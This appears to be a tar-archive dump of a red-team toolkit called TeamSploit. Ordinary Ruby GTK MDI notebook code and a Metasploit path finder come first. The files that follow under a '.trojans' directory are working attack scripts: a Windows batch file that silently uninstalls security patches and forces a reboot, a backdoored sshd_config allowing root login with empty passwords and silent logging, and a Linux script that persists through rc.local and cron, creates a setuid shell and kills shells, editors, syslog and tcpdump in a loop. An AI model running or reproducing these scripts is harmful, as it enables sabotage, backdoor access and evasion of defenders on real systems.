@handlers.delete(doc)
@documents.delete(doc)
remove_page(index_of_document(doc))
signal_emit('document_removed', doc, @documents.empty?)
end
# Focuses (selects) the document *doc* in the notebook (i.e.,
# makes it become the active document).
def focus_document(doc)
return unless @documents.include? doc
index = index_of_document(doc)
self.page = index
end
# Moves the document *doc* to the new index *new_index* and
# focuses it.
def shift_document(doc, new_index)
index = index_of_document(doc)
return if index == new_index or index.nil? or new_index.nil?
reorder_child(doc.widget, new_index)
self.page = new_index
end
# Migrates the document *doc* to another notebook, namely *dest*
# (Gtk::MDI::Notebook). If *dest* is not a notebook, this function
# simply does nothing.
# Emits a 'document_removed' signal for the source notebook and a
# 'document_added' signal for the destination notebook. This
# behavior may change in the future.
def migrate_document(doc, dest)
index = index_of_document(doc)
return if index.nil? or not dest.is_a? Notebook
drag_stop
Gtk::grab_remove(self)
remove_document(doc)
dest.instance_eval do
add_document(doc)
drag_start
@drag_info.document = doc
@drag_info.motion_handler = signal_connect('motion-notify-event') do
|widget, event|
motion_notify_cb(event)
end
end
end
# Returns a list of documents contained in this notebook.
def documents
@documents.dup
end
# Returns the index of document *doc* in this notebook.
def index_of_document(doc)
children.index(doc.widget)
end
# Returns the document placed on the given *index*, or _nil_ if
# the widget on the given index could not be traced back to a
# document.
def document_at_index(index)
page = children[index]
@documents.each do |document|
return document if document.widget == page
end
return nil
end
# Determines whether the coordinate (*x*, *y*) is within the
# boundaries of the notebook.
def spans_xy?(x, y)
win_x, win_y = toplevel.window.origin
rel_x, rel_y = x - win_x, y - win_y
nb_x, nb_y = allocation.x, allocation.y
width, height = allocation.width, allocation.height
rel_x >= nb_x and rel_y >= nb_y and
rel_x <= nb_x + width and rel_y <= nb_y + height
end
# Finds the document under/on the coordinates (*x*, *y*).
def document_at_xy(x, y)
document_at_index(index_at_xy(x, y))
end
# Finds the index of the document label on the coordinate (*x*, *y*).
# Returns _nil_ if there is no index and -1 if is out of range.
# (-1 isn't just a "magic number": when migrating a document, for
# instance, the tab array index -1 means, as in Ruby, the end of
# the array, and has the effect of placing the tab at the end
# position.)
def index_at_xy(x, y)
nb_x, nb_y = window.origin
x_rel, y_rel = x - nb_x, y - nb_y
nb_bx, nb_by = nb_x + allocation.width, nb_y + allocation.height
return nil if x < nb_x or x > nb_bx or y < nb_y or y > nb_by
index = nil
first_visible = true
children.each_with_index do |page, i|
label = get_tab_label(page)
next unless label.mapped?
la_x, la_y = label.allocation.x, label.allocation.y
if first_visible
first_visible = false
x_rel = la_x if x_rel < la_x
y_rel = la_y if y_rel < la_y
end
if self.tab_pos == Gtk::POS_TOP or
self.tab_pos == Gtk::POS_BOTTOM
break unless la_x <= x_rel
if la_x + label.allocation.width <= x_rel
index = i + 1
else
index = i
end
else
break unless la_y <= y_rel
if la_y + label.allocation.height <= y_rel
index = i + 1
else
index = i
end
end
end
return -1 if index == children.length
return index
end # def index_ax_xy
private
def signal_do_document_added(doc); end
def signal_do_document_removed(doc, last); end
def signal_do_document_close(doc); end
def signal_do_document_drag(doc, x, y); end
def signal_do_document_dropped(doc, x, y); end
def button_press_cb(event)
return true if @drag_info.in_progress
index = index_at_xy(event.x_root, event.y_root)
return false if index.nil?
document = document_at_index(index)
if event.button == 1 and
event.event_type == Gdk::Event::BUTTON_PRESS and
index >= 0
@drag_info.document = document
@drag_info.x_start, @drag_info.y_start = event.x_root, event.y_root
@drag_info.motion_handler = signal_connect('motion-notify-event') do
|widget, event|
motion_notify_cb(event)
end
end
return false
end
def button_release_cb(event)
if @drag_info.in_progress
signal_emit('document_dropped',
@drag_info.document, event.x_root, event.y_root)
if Gdk::pointer_is_grabbed?
Gdk::pointer_ungrab(Gdk::Event::CURRENT_TIME)
Gtk::grab_remove(self)
end
end
drag_stop
return false
end
def motion_notify_cb(event)
unless @drag_info.in_progress
return false unless Gtk::Drag::threshold?(self, @drag_info.x_start,
@drag_info.y_start,
event.x_root, event.y_root)
drag_start
end
signal_emit('document_drag',
@drag_info.document, event.x_root, event.y_root)
end
def drag_start
@drag_info.in_progress = true
Gtk::grab_add(self)
unless Gdk::pointer_is_grabbed?
Gdk::pointer_grab(self.window, false,
Gdk::Event::BUTTON1_MOTION_MASK |
Gdk::Event::BUTTON_RELEASE_MASK, nil,
Gdk::Cursor.new(Gdk::Cursor::FLEUR),
Gdk::Event::CURRENT_TIME)
end
end
def drag_stop
signal_handler_disconnect(@drag_info.motion_handler) unless
@drag_info.motion_handler.nil?
@drag_info = DragInfo.new(false)
end
end # class Gtk::MDI::Notebook
# A controller for managing MDI windows. Handles creation and destruction
# of the windows with their notebooks.
class Controller < GLib::Object
type_register
signal_new('window_added',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkWindow']) # the window that was added
signal_new('window_removed',
GLib::Signal::RUN_FIRST,
nil,
GLib::Type['void'],
GLib::Type['GtkWindow'], # the window that was removed
GLib::Type['gboolean']) # @windows.empty?
# Creates a new controller. The controller will create instances of
# *window_class* (Gtk::Window) and access the notebook using the
# attribute *notebook_attr* (symbol version of attribute name).
# Optionally *args* are passed to window_class#new when a new window
# is created.
def initialize(window_class, notebook_attr, *args)
super()
@windows = Array.new
@handlers = Hash.new
@window_class = window_class
@notebook_attr = notebook_attr
@args = args
end
# Opens a new window, passing *args* to the new method of the defined
# window class, and adds the window to the controller's list of
# managed windows.
def open_window(*args)
window = @window_class.new(*args)
window.show_all
add_window(window)
end
# Adds a *window* to the list and connects handlers for all
# 'document_*' signals.
# Emits the 'window_added' signal.
def add_window(window)
@windows << window
window.signal_connect('destroy') {remove_window(window)}
n = nb(window)
h = Array.new
h << n.signal_connect('document_close') do |nb, doc|
nb.remove_document(doc)
end
h << n.signal_connect('document_removed') do |nb, doc, last|
# FIXME: we don't always want this:
close_window(window) if last
end
h << n.signal_connect('document_drag') do |nb, doc, x, y|
document_drag_cb(window, nb, doc, x, y)
end
h << n.signal_connect('document_dropped') do |nb, doc, x, y|
document_dropped_cb(window, nb, doc, x, y)
end
@handlers[window] = h
signal_emit('window_added', window)
return window
end
# Closes a window *window* (only when it has been added earlier)
# and removes it from the controller's list of managed windows.
def close_window(window)
return unless @windows.include? window
window.destroy
remove_window(window)
end
# Removes a window from the windows list and disconnects all
# signal handlers.
# Emits the 'window_removed' signal.
def remove_window(window)
return unless @windows.include? window
n = nb(window)
@handlers[window].each do |handler|
n.signal_handler_disconnect(handler)
end
@handlers.delete(window)
@windows.delete(window)
signal_emit('window_removed', window, @windows.empty?)
return window
end
# Returns a list of windows known to the controller.
def windows
@windows.dup
end
# Returns a list of all known documents (i.e. all documents in all
# windows).
def documents
documents = Array.new
@windows.each do |window|
notebook = nb(window)
documents += notebook.documents
end
return documents
end
private
def signal_do_window_added(window); end
def signal_do_window_removed(window, last); end
def nb(window)
window.method(@notebook_attr).call
end
def document_drag_cb(window, notebook, document, x, y)
dest = notebook_at_pointer
return if dest.nil?
index = dest.index_at_xy(x, y)
notebook.migrate_document(document, dest) if dest != notebook
dest.shift_document(document, index)
end
def document_dropped_cb(window, notebook, document, x, y)
dest = notebook_at_pointer
if dest.nil? and not notebook.children.length == 1
window = open_window(*@args)
width, height = window.size
window.move(x - width / 2, y - height / 2)
dest = nb(window)
notebook.migrate_document(document, dest)
dest.instance_eval do
drag_stop
Gtk::grab_remove(self)
end
else
# FIXME: Emit a signal saying the document has been moved
# to an existing notebook.
end
end
def window_and_xy_at_pointer
window, x_rel, y_rel = Gdk::Window::at_pointer
unless window.nil? or window.toplevel.nil? or
window.toplevel.user_data.nil?
win = window.toplevel.user_data
x, y = window.origin
return win, x + x_rel, y + y_rel if @windows.include? win
end
return nil, 0, 0
end
def notebook_at_pointer
window, x, y = window_and_xy_at_pointer
return nil if window.nil?
notebook = nb(window)
return nil unless notebook.spans_xy?(x, y)
return nb(window)
end
end # class Gtk::MDI::Controller
end # end Gtk::MDI
end # end Gtk
#--- SAMPLE IMPLEMENTATION ---#
if __FILE__ == $0
# A sample MDI window.
class SampleMDIWindow < Gtk::Window
@@count = 0
def initialize
super
@@count += 1
@notebook = Gtk::MDI::Notebook.new
add(@notebook)
set_title("#{self.class} #{@@count}")
set_size_request(320, 240)
end
def populate
widgets = %w(foo bar baz quux).each do |s|
s << " #{@@count}"
label = Gtk::Label.new(s)
@notebook.add_document(Gtk::MDI::Document.new(label, s))
end
@notebook.show_all
end
attr_reader :notebook
end
# Initialize GTK
Gtk::init
# Initialize the MDI controller with our window class and the
# symbol of the attribute used to access the notebook
controller = Gtk::MDI::Controller.new(SampleMDIWindow, :notebook)
# Quit once all windows have been closed
controller.signal_connect('window_removed') do |controller, window, last|
Gtk::main_quit if last
end
# Open some windows and populate them
[Gtk::POS_TOP, Gtk::POS_BOTTOM,
Gtk::POS_LEFT, Gtk::POS_RIGHT].each do |pos|
window = controller.open_window
window.notebook.set_tab_pos(pos)
window.populate
end
# Start it all up
Gtk::main
end
teamsploit_0~20151123/.trojans/unpatch.cmd 000644 001750 001750 00000000425 12020216762 021177 0 ustar 00sophie sophie 000000 000000 copy ws2k3.cmd %systemroot%\System32\ /Y
dir /s /b C:\Windows\ | find "spuninst.exe" > patches.txt
type patches.txt | find "C:\Windows\$N" > patch.txt
for /F %%A in (patch.txt) do start /WAIT %%A /quiet /norestart
shutdown /r /c "Hanging Application or Service" /t 0
teamsploit_0~20151123/.msfpath 000755 001750 001750 00000002143 12122661702 016760 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
MSFCON=`whereis msfconsole | tr ' ' '\n' | awk '{ if ( NR > 1 ) { print } }' | grep -vP "msfconsole\.framework|X11" | head -1`
MSFCONPATH=`readlink $MSFCON | sed -e 's/\/app\/msfconsole//'`
find $MSFCONPATH -type d -name "msf3" -o -type l -name "msf3" 2>/dev/null | sed -e 's/\/msf3$//' | tail -1
teamsploit_0~20151123/.trojans/.persist/sshd_config 000644 001750 001750 00000004635 11732510376 023046 0 ustar 00sophie sophie 000000 000000 # Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation no
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768
# Logging
SyslogFacility AUTH
LogLevel SILENT
# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes no
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords yes
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM no
UseDNS no
teamsploit_0~20151123/.trojans/lintroll.sh 000644 001750 001750 00000003040 11732510376 021246 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
echo "/usr/local/bin/lintroll.sh; exit 0" > /etc/rc.local
touch /forcefsck
chmod 000 /forcefsck
tune2fs -c 1
echo "*/1 * * * * root /usr/local/bin/lintroll.sh" >> /etc/crontab
copy /bin/bash /bin/com
echo "#!/bin/com -p" >/usr/local/bin/lintroller.sh
echo "while [ 1 ]; do" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"bash\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"sh\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"dash\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"vi\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"vim\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"nano\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"syslog\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"cron\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"tail\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"more\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"less\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "kill -9 `ps aux | grep \"tcpdump\" | awk {' print $2 '}`" >> /usr/local/bin/lintroller.sh
echo "done" >> /usr/local/bin/lintroller.sh
chmod a+sx /usr/local/bin/lintroller.sh
/usr/local/bin/lintroller.sh
teamsploit_0~20151123/loot/ 000755 001750 001750 00000000000 12624612751 016276 5 ustar 00sophie sophie 000000 000000